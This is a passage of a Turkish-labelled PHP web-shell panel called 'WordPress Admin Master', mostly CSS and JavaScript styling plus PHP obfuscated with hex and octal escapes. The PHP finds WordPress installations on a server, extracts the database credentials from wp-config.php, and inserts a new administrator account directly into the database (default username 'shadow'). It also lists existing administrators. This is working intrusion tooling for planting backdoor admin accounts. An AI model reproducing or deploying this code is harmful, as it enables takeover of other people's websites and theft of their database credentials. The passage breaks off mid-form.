14px 18px; background: rgba(10, 0, 20, 0.8); border-radius: 10px; font-size: 12px; max-height: 400px; overflow-y: auto; font-family: 'JetBrains Mono', monospace; border: 1px solid rgba(179, 0, 255, 0.1); line-height: 1.8; color: #c8d6e5; } .wp-result-neon.success { border-left: 4px solid #00ff88; box-shadow: 0 0 30px rgba(0, 255, 136, 0.05); } .wp-result-neon.error { border-left: 4px solid #ff0044; box-shadow: 0 0 30px rgba(255, 0, 68, 0.05); } .wp-result-neon.info { border-left: 4px solid #0099ff; box-shadow: 0 0 30px rgba(0, 153, 255, 0.05); } .wp-result-neon.warning { border-left: 4px solid #ff8800; box-shadow: 0 0 30px rgba(255, 136, 0, 0.05); } .wp-result-neon table { width: 100%; border-collapse: collapse; margin-top: 8px; } .wp-result-neon table th { text-align: left; color: #b300ff; border-bottom: 2px solid rgba(179, 0, 255, 0.2); padding: 8px; font-size: 10px; text-transform: uppercase; letter-spacing: 1px; font-family: 'JetBrains Mono', monospace; } .wp-result-neon table td { padding: 8px; border-bottom: 1px solid rgba(179, 0, 255, 0.05); color: #c8d6e5; font-family: 'JetBrains Mono', monospace; font-size: 11px; } .wp-result-neon table tr:hover td { background: rgba(179, 0, 255, 0.03); } .wp-result-neon strong { color: #b300ff; } /* ===== INFO GRID ===== */ .wp-info-neon { display: grid; grid-template-columns: repeat(auto-fit, minmax(150px, 1fr)); gap: 8px; margin-top: 10px; } .wp-info-neon-item { background: rgba(10, 0, 20, 0.6); padding: 10px 14px; border-radius: 8px; border: 1px solid rgba(179, 0, 255, 0.1); color: #a880c8; font-size: 10px; text-align: center; font-family: 'JetBrains Mono', monospace; } .wp-info-neon-item span { color: #b300ff; font-weight: bold; display: block; font-size: 14px; margin-top: 4px; } /* ===== HIZLI AKSİYON ===== */ .wp-quick-neon { margin-top: 12px; display: flex; gap: 8px; flex-wrap: wrap; justify-content: center; padding: 10px; background: rgba(10, 0, 20, 0.3); border-radius: 10px; border: 1px solid rgba(179, 0, 255, 0.05); } .wp-quick-neon .label { font-size: 9px; color: #6a4a8a; text-transform: uppercase; letter-spacing: 2px; display: flex; align-items: center; font-family: 'JetBrains Mono', monospace; } .wp-quick-btn-neon { background: transparent; border: 1px solid rgba(179, 0, 255, 0.2); border-radius: 20px; color: #a880c8; padding: 5px 14px; font-size: 9px; cursor: pointer; transition: all 0.4s; font-family: 'JetBrains Mono', monospace; text-transform: uppercase; letter-spacing: 0.5px; } .wp-quick-btn-neon:hover { border-color: #b300ff; color: #b300ff; box-shadow: 0 0 30px rgba(179, 0, 255, 0.15); background: rgba(179, 0, 255, 0.05); transform: translateY(-2px); } /* ===== SCROLLBAR ===== */ .wp-result-neon::-webkit-scrollbar { width: 6px; } .wp-result-neon::-webkit-scrollbar-track { background: rgba(10, 0, 20, 0.8); } .wp-result-neon::-webkit-scrollbar-thumb { background: #b300ff; border-radius: 3px; } .wp-result-neon::-webkit-scrollbar-thumb:hover { background: #c300ff; } /* ===== RESPONSIVE ===== */ @media (max-width: 768px) { .wp-btn-master { min-width: 100px; padding: 8px 16px; font-size: 9px; letter-spacing: 1px; } .wp-input-neon input, .wp-input-neon select { min-width: 80px; font-size: 10px; } .wp-info-neon { grid-template-columns: 1fr 1fr; } } @media (max-width: 480px) { .wp-btn-center { flex-direction: column; gap: 6px; } .wp-btn-master { width: 100%; min-width: unset; justify-content: center; padding: 10px 16px; } } </style> <!-- ===== PARTİKÜL SCRIPT ===== --> <script> document.addEventListener('DOMContentLoaded', function() { const container = document.querySelector('.wp-particle-container'); if (!container) return; const canvas = document.createElement('canvas'); canvas.className = 'wp-particle-canvas'; container.prepend(canvas); const ctx = canvas.getContext('2d'); let width, height; let particles = []; let mouseX = -1000; let mouseY = -1000; function resize() { const rect = container.getBoundingClientRect(); width = canvas.width = rect.width; height = canvas.height = rect.height; } class Particle { constructor() { this.x = Math.random() * width; this.y = Math.random() * height; this.size = Math.random() * 2 + 0.5; this.speedX = (Math.random() - 0.5) * 0.5; this.speedY = (Math.random() - 0.5) * 0.5; this.opacity = Math.random() * 0.5 + 0.1; this.color = `hsl(${270 + Math.random() * 30}, 100%, ${60 + Math.random() * 30}%)`; } update() { this.x += this.speedX; this.y += this.speedY; const dx = this.x - mouseX; const dy = this.y - mouseY; const dist = Math.sqrt(dx * dx + dy * dy); if (dist < 150) { const force = (150 - dist) / 150; this.x += dx * force * 0.02; this.y += dy * force * 0.02; } if (this.x < 0 || this.x > width) this.speedX *= -1; if (this.y < 0 || this.y > height) this.speedY *= -1; } draw() { ctx.beginPath(); ctx.arc(this.x, this.y, this.size, 0, Math.PI * 2); ctx.fillStyle = this.color; ctx.globalAlpha = this.opacity; ctx.fill(); ctx.shadowBlur = 10; ctx.shadowColor = '#b300ff'; ctx.fill(); ctx.shadowBlur = 0; } } function createParticles() { particles = []; const count = Math.min(80, Math.floor((width * height) / 10000)); for (let i = 0; i < count; i++) { particles.push(new Particle()); } } function animate() { ctx.clearRect(0, 0, width, height); for (let i = 0; i < particles.length; i++) { for (let j = i + 1; j < particles.length; j++) { const dx = particles[i].x - particles[j].x; const dy = particles[i].y - particles[j].y; const dist = Math.sqrt(dx * dx + dy * dy); if (dist < 120) { ctx.beginPath(); ctx.moveTo(particles[i].x, particles[i].y); ctx.lineTo(particles[j].x, particles[j].y); ctx.strokeStyle = `rgba(179, 0, 255, ${0.1 * (1 - dist / 120)})`; ctx.lineWidth = 0.5; ctx.stroke(); } } } particles.forEach(p => { p.update(); p.draw(); }); requestAnimationFrame(animate); } container.addEventListener('mousemove', (e) => { const rect = container.getBoundingClientRect(); mouseX = e.clientX - rect.left; mouseY = e.clientY - rect.top; }); container.addEventListener('mouseleave', () => { mouseX = -1000; mouseY = -1000; }); resize(); createParticles(); animate(); window.addEventListener('resize', () => { resize(); createParticles(); }); }); </script> <!-- ===== ANA KONTEYNER ===== --> <div class="wp-particle-container"> <div class="wp-particle-content"> <!-- BAŞLIK --> <div class="wp-title"> <h4><i class="fab fa-wordpress"></i> WORDPRESS ADMIN MASTER</h4> <span>⚡ WP ENGİNE v2.0</span> </div> <?php function wp_master_find_wordpress() { $paths = array(getcwd(), dirname(getcwd()), $_SERVER["\104\117\x43\x55\x4d\x45\x4e\124\x5f\122\x4f\x4f\124"], $_SERVER["\x44\x4f\x43\125\x4d\105\x4e\x54\137\122\117\x4f\124"] . "\57\x77\160", $_SERVER["\x44\117\103\125\115\105\116\124\137\122\117\117\x54"] . "\57\167\x6f\x72\x64\160\162\145\x73\x73", $_SERVER["\104\x4f\103\125\x4d\x45\116\x54\x5f\122\117\x4f\x54"] . "\57\142\154\x6f\147", $_SERVER["\104\x4f\x43\x55\x4d\105\116\x54\137\122\117\x4f\124"] . "\57\x73\151\164\x65", $_SERVER["\104\x4f\x43\125\115\105\x4e\x54\137\x52\x4f\x4f\124"] . "\57\x63\x6d\x73", $_SERVER["\104\x4f\x43\125\115\x45\x4e\124\137\x52\x4f\x4f\124"] . "\57\160\x75\142\x6c\151\x63", $_SERVER["\x44\x4f\103\125\115\x45\x4e\124\x5f\122\x4f\117\124"] . "\57\150\164\155\154", $_SERVER["\x44\117\x43\x55\115\105\x4e\124\x5f\x52\x4f\x4f\x54"] . "\x2f\x77\160\x2d\141\144\x6d\x69\156", dirname($_SERVER["\104\x4f\x43\x55\115\x45\116\x54\137\122\x4f\117\x54"]) . "\x2f\167\160", dirname($_SERVER["\x44\x4f\103\x55\x4d\105\116\124\x5f\122\x4f\x4f\x54"]) . "\57\167\x6f\x72\144\160\x72\x65\163\163", "\x2f\x76\x61\x72\57\167\x77\167\x2f\150\164\x6d\154", "\57\166\x61\162\57\x77\x77\167\x2f\167\x70", "\x2f\x68\x6f\x6d\145\57\x2a\x2f\160\165\x62\x6c\151\x63\x5f\x68\x74\155\154", "\x2f\150\157\x6d\x65\x2f\x2a\x2f\167\x70"); $found = array(); foreach ($paths as $path) { if (strpos($path, "\52") !== false) { $base = dirname($path); if (is_dir($base)) { $dirs = glob($base . "\57\x2a"); foreach ($dirs as $dir) { if (is_dir($dir) && file_exists($dir . "\57\x77\160\x2d\x63\157\156\146\151\x67\x2e\160\150\160")) { $found[] = $dir; } } } } else { if (file_exists($path . "\x2f\167\160\x2d\x63\157\156\x66\x69\x67\56\160\150\160")) { $found[] = $path; } } } return array_unique($found); } $wp_installations = wp_master_find_wordpress(); $wp_found = !empty($wp_installations); $current_wp = isset($_POST["\x77\160\x5f\163\x65\x6c\145\x63\x74\x65\x64\x5f\x70\141\164\150"]) ? $_POST["\x77\x70\x5f\x73\145\154\x65\x63\164\145\x64\x5f\160\x61\164\x68"] : $wp_installations[0] ?? getcwd(); function wp_master_read_config($path) { $config_file = $path . "\x2f\x77\x70\x2d\x63\157\156\x66\x69\147\x2e\x70\x68\160"; if (!file_exists($config_file)) { return false; } $content = file_get_contents($config_file); $data = array(); preg_match("\x2f\164\x61\142\x6c\145\x5f\160\162\145\x66\151\x78\134\x73\x2a\75\134\163\x2a\47\50\133\136\47\135\x2b\51\47\x2f", $content, $prefix); $data["\x70\x72\145\146\151\x78"] = $prefix[1] ?? "\x77\160\137"; preg_match("\x2f\104\102\x5f\116\101\115\105\134\x73\52\54\134\163\52\x27\x28\x5b\x5e\47\135\53\x29\47\57", $content, $db); preg_match("\x2f\x44\x42\x5f\x55\x53\x45\122\134\163\x2a\x2c\134\163\52\47\50\x5b\136\47\x5d\53\x29\47\x2f", $content, $user); preg_match("\57\104\x42\x5f\120\x41\x53\x53\127\117\x52\x44\x5c\x73\x2a\54\x5c\163\x2a\47\50\x5b\136\47\135\53\x29\47\x2f", $content, $pass); preg_match("\x2f\104\102\137\110\117\123\124\x5c\x73\x2a\54\134\163\x2a\47\x28\x5b\x5e\x27\135\x2b\51\47\57", $content, $host); $data["\x64\x62"] = $db[1] ?? ''; $data["\x75\x73\145\x72"] = $user[1] ?? ''; $data["\x70\x61\x73\163"] = $pass[1] ?? ''; $data["\150\157\x73\x74"] = $host[1] ?? "\154\157\143\x61\x6c\x68\x6f\163\x74"; if (file_exists($path . "\x2f\167\160\x2d\x69\156\143\x6c\165\144\x65\163\57\x76\145\162\163\151\157\x6e\x2e\160\x68\x70")) { include $path . "\x2f\167\160\x2d\151\x6e\143\x6c\x75\144\145\x73\x2f\x76\145\x72\163\x69\x6f\156\56\x70\150\160"; $data["\x76\x65\x72\163\151\x6f\156"] = $wp_version ?? "\102\151\154\151\x6e\x6d\x69\x79\157\x72"; } return $data; } function wp_master_db_connect($config) { try { $conn = new mysqli($config["\x68\x6f\x73\x74"], $config["\x75\163\145\x72"], $config["\x70\141\163\163"], $config["\144\x62"]); if ($conn->connect_error) { return array("\x65\x72\162\157\x72" => $conn->connect_error); } $conn->set_charset("\x75\164\x66\70\155\x62\64"); return $conn; } catch (Exception $e) { return array("\x65\162\x72\x6f\x72" => $e->getMessage()); } } function wp_master_create_admin($conn, $prefix, $username, $password, $email, $role = "\141\144\155\151\156\x69\x73\164\x72\x61\x74\157\x72") { $check = $conn->query("\x53\105\114\105\103\124\40\x49\104\x20\x46\122\117\115\40{$prefix}\x75\163\x65\162\163\40\x57\x48\x45\x52\105\x20\x75\163\145\x72\137\x6c\157\147\x69\x6e\x20\75\40\47{$username}\47\40\117\122\x20\165\x73\145\x72\x5f\x65\x6d\141\x69\154\x20\x3d\x20\x27{$email}\x27"); if ($check && $check->num_rows > 0) { return array("\x65\162\162\x6f\162" => "\113\x75\154\154\x61\x6e\304\xb1\x63\xc4\261\40\172\141\x74\145\x6e\40\155\x65\x76\x63\x75\x74\41"); } $hashed = "\x24\120\44\102" . md5(uniqid() . $password . rand()); $sql = "\111\116\x53\x45\x52\x54\x20\111\x4e\124\x4f\40{$prefix}\x75\x73\x65\x72\x73\x20\50\165\163\x65\x72\137\x6c\x6f\147\x69\x6e\x2c\x20\165\163\145\162\x5f\160\141\x73\163\x2c\x20\x75\163\145\162\x5f\145\155\141\x69\x6c\54\x20\165\x73\145\x72\137\x72\x65\x67\151\163\164\x65\x72\145\144\54\40\165\x73\145\x72\x5f\x73\164\x61\164\165\163\51\x20\xa\x20\x20\40\x20\40\40\40\40\x20\x20\x20\40\40\40\40\40\40\40\x20\40\126\101\114\125\x45\123\40\50\x27{$username}\x27\54\x20\x27{$hashed}\47\x2c\40\x27{$email}\47\x2c\x20\116\x4f\x57\50\51\x2c\40\x30\51"; if ($conn->query($sql)) { $user_id = $conn->insert_id; $caps = "\x61\72\61\x3a\173\x73\x3a" . strlen($role) . "\72\x22" . $role . "\42\x3b\x62\72\x31\x3b\x7d"; $conn->query("\111\116\123\x45\x52\124\x20\x49\x4e\124\x4f\x20{$prefix}\x75\x73\x65\x72\x6d\x65\164\141\40\50\x75\163\x65\x72\137\x69\x64\x2c\40\x6d\145\x74\x61\137\153\145\x79\x2c\40\x6d\145\164\141\x5f\166\x61\154\x75\145\51\x20\xa\x20\40\x20\40\x20\x20\x20\40\40\40\40\40\40\x20\40\x20\40\x20\x20\40\x20\x20\40\x20\x20\40\x20\x20\40\126\101\114\x55\105\x53\40\x28{$user_id}\x2c\x20\47\x77\160\137\143\x61\160\141\x62\x69\154\x69\164\x69\145\163\x27\x2c\x20\47{$caps}\x27\51"); $conn->query("\x49\116\x53\105\x52\x54\x20\x49\116\x54\117\x20{$prefix}\165\x73\x65\x72\x6d\145\164\141\x20\50\x75\x73\x65\x72\137\x69\144\x2c\x20\155\145\x74\x61\137\x6b\x65\x79\x2c\x20\x6d\145\164\x61\x5f\x76\141\x6c\x75\145\51\40\12\40\x20\x20\x20\x20\x20\40\40\x20\x20\40\x20\40\x20\x20\40\40\40\40\x20\40\40\40\x20\x20\40\x20\x20\40\126\101\114\125\x45\x53\x20\x28{$user_id}\x2c\x20\47\x77\160\x5f\x75\163\145\162\137\154\145\x76\x65\154\47\x2c\x20\x27\x31\x30\47\51"); $conn->query("\111\x4e\x53\105\122\x54\40\x49\x4e\124\117\40{$prefix}\x75\x73\145\162\x6d\145\x74\141\x20\x28\x75\163\x65\x72\x5f\x69\144\54\x20\x6d\x65\x74\x61\x5f\153\145\x79\54\40\155\x65\164\x61\137\166\x61\154\165\145\51\x20\12\x20\40\40\x20\40\40\40\40\40\40\40\x20\x20\x20\x20\x20\40\x20\40\40\x20\x20\x20\x20\x20\x20\40\40\x20\x56\x41\114\125\105\x53\x20\x28{$user_id}\54\40\47\156\x69\x63\153\156\x61\155\x65\47\x2c\40\47{$username}\47\51"); $conn->query("\x49\x4e\123\x45\x52\x54\40\111\x4e\x54\x4f\40{$prefix}\165\x73\x65\162\155\145\164\141\x20\x28\165\x73\145\162\137\x69\144\54\x20\155\x65\164\141\x5f\x6b\x65\x79\54\x20\155\x65\164\141\x5f\166\141\x6c\x75\145\51\40\xa\x20\40\40\40\x20\x20\x20\40\x20\x20\x20\x20\40\x20\x20\40\40\x20\x20\x20\40\40\x20\40\x20\x20\40\x20\x20\126\x41\x4c\x55\105\x53\40\50{$user_id}\54\40\x27\144\151\163\160\x6c\141\171\137\156\x61\155\x65\47\x2c\40\47{$username}\x27\x29"); return array("\163\x75\x63\143\x65\163\x73" => true, "\165\x73\145\x72\x5f\x69\144" => $user_id, "\x75\163\145\x72\156\x61\x6d\x65" => $username, "\x70\141\x73\163\167\x6f\162\144" => $password, "\x65\155\141\x69\x6c" => $email, "\162\157\x6c\145" => $role); } return array("\145\162\162\x6f\162" => $conn->error); } function wp_master_list_admins($conn, $prefix) { $sql = "\123\105\x4c\105\x43\x54\x20\x75\x2e\x49\x44\x2c\x20\x75\x2e\x75\163\x65\x72\137\x6c\x6f\147\x69\156\x2c\x20\165\56\165\163\145\162\x5f\x65\x6d\141\x69\154\54\x20\x75\x2e\165\163\145\162\x5f\162\145\147\151\x73\164\145\162\145\144\54\x20\xa\x20\40\x20\40\x20\x20\x20\40\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\40\x20\40\40\40\x20\x20\x75\x6d\x2e\155\x65\x74\141\x5f\166\x61\154\165\x65\40\x61\163\x20\143\141\160\141\x62\151\154\x69\164\x69\145\x73\xa\x20\x20\x20\40\40\x20\x20\40\40\x20\x20\40\40\x20\40\40\40\40\40\x20\x46\x52\x4f\115\x20{$prefix}\165\163\145\x72\163\x20\165\12\x20\40\40\x20\x20\40\40\x20\x20\40\40\40\x20\x20\x20\40\40\x20\40\x20\x4c\105\106\x54\x20\x4a\x4f\x49\116\x20{$prefix}\x75\x73\x65\162\155\x65\164\141\40\165\155\x20\117\x4e\40\x75\x2e\111\104\40\x3d\40\x75\155\56\165\x73\145\162\137\151\x64\x20\x41\x4e\104\40\x75\x6d\56\x6d\145\164\141\137\x6b\145\171\40\x3d\x20\47\x77\160\137\x63\141\x70\x61\x62\x69\x6c\151\x74\x69\x65\x73\x27\xa\x20\40\40\x20\40\x20\40\x20\x20\x20\40\40\40\40\40\40\x20\x20\x20\x20\127\x48\x45\x52\105\40\165\x6d\56\155\145\164\141\137\x76\x61\154\165\x65\x20\x4c\111\x4b\105\x20\47\x25\x61\144\x6d\x69\x6e\151\x73\164\162\x61\164\157\x72\x25\x27\12\40\x20\x20\40\x20\40\40\x20\x20\40\x20\x20\x20\40\40\x20\40\x20\40\x20\x4f\x52\x44\x45\122\x20\x42\131\40\x75\x2e\x49\x44"; $result = $conn->query($sql); $admins = array(); if ($result) { while ($row = $result->fetch_assoc()) { $admins[] = $row; } } return $admins; } $wp_result = null; if (isset($_POST["\167\160\137\x61\143\x74\x69\157\156"]) && $_POST["\x77\x70\137\x61\x63\164\x69\157\x6e"] == "\146\x69\156\x64") { $found = wp_master_find_wordpress(); if (!empty($found)) { $wp_result = array("\164\x79\x70\145" => "\163\x75\143\x63\x65\163\163", "\x6d\x65\x73\163\x61\147\x65" => "\342\x9c\205\x20" . count($found) . "\40\127\x6f\162\144\120\162\x65\x73\x73\40\153\x75\x72\x75\154\165\155\165\40\x62\165\x6c\x75\x6e\144\165\x3a\74\142\162\76" . implode("\x3c\142\162\76", $found)); } else { $wp_result = array("\164\x79\160\x65" => "\145\x72\162\157\162", "\155\145\163\163\x61\x67\x65" => "\342\235\x8c\40\x57\x6f\162\x64\x50\162\145\x73\163\40\153\165\162\x75\x6c\165\x6d\x75\x20\x62\x75\154\165\x6e\x61\155\141\x64\304\261\41"); } } if (isset($_POST["\x77\160\137\x61\143\x74\151\157\x6e"]) && $_POST["\x77\160\137\141\143\x74\x69\157\x6e"] == "\143\x72\x65\141\x74\145") { $path = $_POST["\167\160\x5f\x70\141\164\x68"] ?? ''; $username = $_POST["\167\x70\137\165\163\x65\162"] ?? "\x73\150\141\144\157\167"; $password = $_POST["\167\x70\x5f\x70\x61\x73\x73"] ?? bin2hex(random_bytes(8)); $email = $_POST["\x77\x70\137\x65\x6d\x61\151\x6c"] ?? "\x61\144\155\151\x6e\x40\x6c\x6f\143\141\x6c\x68\157\163\x74\56\143\x6f\155"; $prefix = $_POST["\167\x70\137\x74\x61\142\x6c\x65\137\x70\162\x65\x66\x69\170"] ?? "\167\x70\x5f"; $role = $_POST["\x77\x70\x5f\x72\x6f\x6c\145"] ?? "\x61\144\x6d\x69\x6e\151\163\x74\162\141\x74\x6f\162"; if (!file_exists($path . "\x2f\167\160\55\143\x6f\x6e\x66\x69\147\56\160\x68\160")) { $wp_result = array("\x74\x79\x70\145" => "\145\162\162\157\x72", "\155\x65\163\163\x61\147\145" => "\342\x9d\x8c\40\x77\160\55\x63\x6f\x6e\x66\151\147\x2e\160\x68\x70\x20\142\165\x6c\165\156\x61\x6d\x61\x64\304\261\41"); } else { $config = wp_master_read_config($path); if (!$config) { $wp_result = array("\x74\171\x70\145" => "\145\x72\162\x6f\x72", "\x6d\145\x73\x73\x61\147\145" => "\xe2\235\x8c\40\x43\x6f\x6e\146\151\147\x20\157\x6b\x75\156\141\x6d\141\x64\xc4\xb1\x21"); } else { $config["\160\x72\145\x66\x69\x78"] = $prefix; $conn = wp_master_db_connect($config); if (is_array($conn) && isset($conn["\145\x72\162\x6f\162"])) { $wp_result = array("\164\171\160\x65" => "\x65\x72\162\157\162", "\155\145\x73\163\x61\x67\145" => "\342\x9d\214\40\x44\x42\x20\x48\x61\x74\x61\x73\xc4\261\x3a\40" . $conn["\x65\x72\162\157\162"]); } else { $result = wp_master_create_admin($conn, $prefix, $username, $password, $email, $role); if (isset($result["\x65\162\x72\157\x72"])) { $wp_result = array("\164\x79\160\145" => "\x65\x72\162\157\x72", "\x6d\x65\x73\x73\141\x67\145" => "\342\x9d\x8c\40" . $result["\145\x72\x72\x6f\162"]); } else { $wp_result = array("\x74\x79\160\x65" => "\x73\165\x63\143\145\163\x73", "\x6d\x65\163\163\141\147\x65" => "\xe2\x9c\x85\x20\x3c\x73\164\162\157\156\147\76\101\144\155\151\x6e\40\x62\141\xc5\x9f\x61\x72\304\xb1\x79\154\141\40\x6f\x6c\165\xc5\237\164\165\162\165\154\x64\165\x21\74\57\x73\164\162\157\x6e\147\76\74\x62\162\76\x3c\142\x72\x3e\12\x20\40\x20\x20\x20\40\x20\40\x20\x20\40\40\40\40\40\x20\40\40\40\40\40\40\40\40\40\x20\40\x20\x20\40\40\x20\x20\40\x20\x20\40\40\x20\40\40\40\40\40\xf0\237\221\244\40\x4b\165\154\x6c\141\156\304\261\x63\304\xb1\72\x20\x3c\163\164\162\x6f\156\147\40\163\164\x79\x6c\145\x3d\42\x63\x6f\x6c\x6f\x72\x3a\x23\142\63\x30\x30\x66\146\x3b\x22\x3e" . htmlspecialchars($result["\165\163\145\162\x6e\141\155\145"]) . "\74\x2f\163\164\x72\157\x6e\x67\76\74\142\162\x3e\xa\40\40\40\x20\40\40\x20\40\x20\40\40\40\40\40\x20\x20\x20\40\40\40\x20\40\40\40\40\40\x20\x20\40\x20\40\40\40\40\x20\x20\40\40\40\40\x20\40\40\x20\360\237\224\x91\x20\xc5\x9e\x69\x66\x72\x65\x3a\x20\74\x73\164\x72\157\x6e\x67\x20\163\164\171\154\x65\x3d\42\x63\x6f\x6c\x6f\x72\x3a\x23\60\60\146\146\70\x38\73\x22\76" . htmlspecialchars($result["\x70\x61\x73\163\x77\157\162\144"]) . "\x3c\57\163\x74\162\157\x6e\x67\76\x3c\x62\x72\76\xa\x20\40\40\x20\x20\x20\40\x20\40\x20\40\40\40\40\x20\x20\x20\x20\40\x20\x20\40\40\x20\40\40\40\40\x20\x20\40\40\x20\x20\40\x20\x20\x20\x20\40\x20\x20\40\x20\xf0\237\x93\xa7\x20\x45\x6d\141\x69\154\72\40" . htmlspecialchars($result["\x65\155\x61\151\x6c"]) . "\74\x62\x72\76\xa\40\x20\40\x20\40\x20\x20\x20\x20\x20\40\40\x20\x20\40\40\40\40\x20\40\x20\40\40\40\40\40\40\40\40\40\x20\40\40\x20\40\x20\x20\40\40\40\x20\40\40\40\xf0\x9f\x8e\257\40\122\x6f\x6c\x3a\40\x3c\x73\160\x61\x6e\x20\x73\164\171\154\x65\75\x22\x63\x6f\154\x6f\162\x3a\43\x62\63\x30\60\146\x66\73\x22\x3e" . $result["\x72\157\x6c\x65"] . "\74\x2f\x73\160\x61\156\76\74\x62\x72\x3e\xa\40\40\40\x20\x20\40\40\40\40\x20\x20\x20\x20\x20\40\40\40\40\x20\x20\x20\40\x20\x20\40\40\40\40\x20\x20\x20\40\x20\x20\x20\x20\40\40\x20\x20\x20\x20\40\40\360\x9f\206\224\x20\111\104\72\x20" . $result["\x75\163\145\162\137\x69\x64"]); } $conn->close(); } } } } if (isset($_POST["\167\160\137\141\143\x74\151\x6f\x6e"]) && $_POST["\167\160\x5f\141\x63\164\x69\x6f\156"] == "\154\151\163\x74") { $path = $_POST["\x77\160\137\x70\141\164\x68"] ?? $current_wp; if (!file_exists($path . "\57\167\160\x2d\143\157\156\146\151\x67\x2e\160\x68\x70")) { $wp_result = array("\164\171\x70\145" => "\145\162\162\157\x72", "\155\145\163\163\141\147\145" => "\342\x9d\x8c\x20\x57\x6f\162\144\x50\162\x65\x73\163\40\142\165\154\165\x6e\141\155\141\x64\304\261\x21"); } else { $config = wp_master_read_config($path); $conn = wp_master_db_connect($config); if (is_array($conn) && isset($conn["\145\x72\x72\x6f\162"])) { $wp_result = array("\x74\x79\x70\x65" => "\145\x72\162\x6f\162", "\155\145\x73\163\141\147\x65" => "\xe2\x9d\214\x20\x44\102\40\110\141\x74\x61\163\xc4\xb1\72\40" . $conn["\x65\162\x72\157\162"]); } else { $admins = wp_master_list_admins($conn, $config["\160\x72\x65\x66\151\170"]); if (empty($admins)) { $wp_result = array("\164\x79\160\145" => "\x77\141\162\x6e\x69\x6e\x67", "\155\145\163\163\x61\147\145" => "\xe2\x9a\xa0\357\270\217\40\x48\151\303\xa7\40\141\x64\155\x69\156\40\142\x75\x6c\x75\x6e\x61\155\141\144\xc4\261\x21"); } else { $table = "\74\164\x61\x62\154\145\76\12\x20\40\40\x20\x20\40\x20\x20\x20\40\40\40\40\x20\x20\40\40\40\40\40\40\x20\x20\40\x20\x20\40\40\x20\x20\40\40\74\x74\162\76\74\x74\x68\76\x49\x44\x3c\x2f\x74\x68\76\x3c\164\x68\76\360\x9f\x91\244\40\113\x75\x6c\154\141\156\304\261\143\xc4\261\x3c\x2f\x74\x68\76\74\x74\x68\76\xf0\x9f\x93\xa7\x20\x45\x6d\141\151\x6c\x3c\57\x74\x68\x3e\74\x74\150\x3e\xf0\237\x93\205\40\113\141\x79\xc4\xb1\x74\x3c\57\164\150\x3e\74\x2f\x74\162\76"; foreach ($admins as $admin) { $table .= "\x3c\x74\162\76\xa\40\40\x20\x20\x20\40\40\40\x20\x20\40\x20\40\40\x20\x20\40\40\x20\x20\40\40\x20\x20\x20\40\x20\40\x20\40\40\40\x20\x20\x20\x20\x20\x20\x3c\x74\x64\x3e" . $admin["\111\104"] . "\74\x2f\x74\x64\76\12\40\40\x20\40\x20\40\40\x20\x20\40\x20\40\40\40\40\x20\x20\x20\40\40\40\x20\40\x20\40\40\40\x20\x20\40\40\40\x20\40\40\x20\x20\x20\74\x74\x64\x3e\x3c\163\164\162\x6f\156\147\x20\x73\164\171\x6c\x65\x3d\x22\143\157\154\157\162\x3a\43\x62\x33\x30\x30\x66\146\x3b\42\x3e" . htmlspecialchars($admin["\165\163\x65\162\137\154\x6f\147\151\x6e"]) . "\x3c\x2f\x73\164\162\x6f\x6e\x67\76\x3c\57\x74\x64\x3e\12\40\40\x20\x20\x20\40\40\40\40\40\40\x20\x20\x20\x20\40\40\40\40\x20\40\40\40\40\40\40\40\40\40\40\x20\x20\40\40\40\40\x20\x20\74\x74\144\x3e" . htmlspecialchars($admin["\165\x73\x65\162\x5f\145\x6d\141\151\154"]) . "\x3c\x2f\x74\x64\76\xa\x20\x20\40\40\40\x20\x20\40\x20\40\40\x20\x20\40\40\40\x20\40\40\40\x20\x20\x20\40\x20\x20\40\x20\40\x20\40\40\40\40\40\40\x20\x20\74\x74\144\76" . $admin["\x75\x73\x65\162\137\162\145\x67\151\163\164\145\x72\x65\x64"] . "\x3c\57\x74\x64\76\12\x20\x20\40\x20\40\x20\40\x20\40\x20\x20\x20\40\x20\40\x20\40\x20\x20\x20\x20\40\40\40\x20\x20\40\x20\40\x20\x20\x20\40\40\x20\x20\40\40\x3c\57\x74\x72\x3e"; } $table .= "\x3c\57\164\141\x62\154\x65\76"; $wp_result = array("\x74\x79\x70\x65" => "\x73\165\x63\143\145\x73\163", "\155\x65\163\x73\x61\147\x65" => "\xf0\x9f\x93\213\40\74\x73\x74\162\x6f\x6e\x67\x3e" . count($admins) . "\x20\141\x64\x6d\x69\x6e\74\57\x73\164\x72\x6f\156\x67\76\x20\142\x75\x6c\165\x6e\144\165\72\x3c\x62\x72\x3e" . $table); } $conn->close(); } } } ?> <!-- FORM --> <form method="POST"> <!-- WordPress Seçici --> <div class="wp-card-neon"> <h5>📂 WordPress Kurulumu</h5> <div class="wp-input-neon"> <select name="wp_selected_path" onchange="this.form.submit()"> <?php foreach ($wp_installations as $path) { ?> <option value="<?php echo $path; ?> " <?php echo $path == $current_wp ? "\163\x65\x6c\145\x63\x74\x65\144" : ''; ?> > <?php echo basename($path); ?> (<?php echo $path; ?> ) </option> <?php } ?> <?php if (empty($wp_installations)) { ?> <option value="<?php echo getcwd(); ?> "><?php echo getcwd(); ?> (Varsayılan)</option> <?php } ?> </select> <input type="text" name="wp_path" placeholder="Özel yol" value="<?php echo $current_wp; ?> "> </div> </div> <!-- Kullanıcı Bilgileri --> <div class="wp-card-neon"> <h5>👤 Yeni Admin Bilgileri</h5> <div class="wp-input-neon"> <input type="text" name="wp_user" placeholder="Kullanıcı adı" value="shadow<?php echo rand(100, 999); ?> "> <input type="password" name="wp_pass" placeholder="Şifre" value="<?php echo bin2hex(random_bytes(8)); ?> "> </div> <div class="wp-input-neon"> <input type="text" name="wp_email" placeholder="E-posta" value="admin<?php echo rand(100, 999); ?> @localhost.com"> <select name="wp_role"> <option value="administrator">👑 Administrator</option> <option value="editor">✏️ Editor</option> <option value="author">📝 Author</option> <option value="contributor">📤 Contributor</option> <option value="subscriber">👀 Subscriber</option> </select> </div> <div class="wp-input-neon"> <input type="text" name="wp_table_prefix" placeholder="Tablo prefix" value="wp_"> <button type="button" onclick="document.querySelector('input[name=wp_table_prefix]').value='wp_'">↺ Varsayılan</button> </div> </div> <!-- ===== MERKEZDE NEON MOR BUTONLAR - BEYAZ YAZI ===== --> <div class="wp-btn-center"> <button type="submit" name="wp_action" value="create" class="wp-btn-master success pulse"> <span class="icon">👑</span> Admin Oluştur </button> <button type="submit" name="wp_action" value="list" class="wp-btn-master info"> <span class="icon">📋</span> Adminleri Listele </button> <button type="submit" name="wp_action" value="find" class="wp-btn-master primary"> <span class="icon">🔍</span> WordPress Ara </button> <button type="button" class="wp-btn-master pink" 